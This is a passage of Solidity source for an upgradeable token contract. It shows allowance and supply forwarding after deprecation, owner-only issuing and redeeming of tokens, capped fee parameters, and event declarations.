function allowance(address _owner, address _spender) public constant returns (uint remaining) {
if (deprecated) {
return StandardToken(upgradedAddress).allowance(_owner, _spender);
} else {
return super.allowance(_owner, _spender);
}
}
// deprecate current contract in favour of a new one
function deprecate(address _upgradedAddress) public onlyOwner {
deprecated = true;
upgradedAddress = _upgradedAddress;
emit Deprecate(_upgradedAddress);
}
// deprecate current contract if favour of a new one
function totalSupply() public constant returns (uint) {
if (deprecated) {
return StandardToken(upgradedAddress).totalSupply();
} else {
return _totalSupply;
}
}
// Issue a new amount of tokens
// these tokens are deposited into the owner address
//
// @param _amount Number of tokens to be issued
function issue(uint amount) public onlyOwner {
require(_totalSupply + amount > _totalSupply);
require(balances[owner] + amount > balances[owner]);
balances[owner] += amount;
_totalSupply += amount;
emit Issue(amount);
}
// Redeem tokens.
// These tokens are withdrawn from the owner address
// if the balance must be enough to cover the redeem
// or the call will fail.
// @param _amount Number of tokens to be issued
function redeem(uint amount) public onlyOwner {
require(_totalSupply >= amount);
require(balances[owner] >= amount);
_totalSupply -= amount;
balances[owner] -= amount;
emit Redeem(amount);
}
function setParams(uint newBasisPoints, uint newMaxFee) public onlyOwner {
// Ensure transparency by hardcoding limit beyond which fees can never be added
require(newBasisPoints < 20);
require(newMaxFee < 50);
basisPointsRate = newBasisPoints;
maximumFee = newMaxFee.mul(10**decimals);
emit Params(basisPointsRate, maximumFee);
}
// Called when new token are issued
event Issue(uint amount);
// Called when tokens are redeemed
event Redeem(uint amount);
// Called when contract is deprecated
event Deprecate(address newAddress);
// Called if contract ever adds fees
event Params(uint feeBasisPoints, uint maxFee);
// ETH
event Withdraw(address _to,uint _val);
// Token
event BuyFromEth(address buyer,uint eth,uint tkn);
}
| 195,837 | 10,399 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.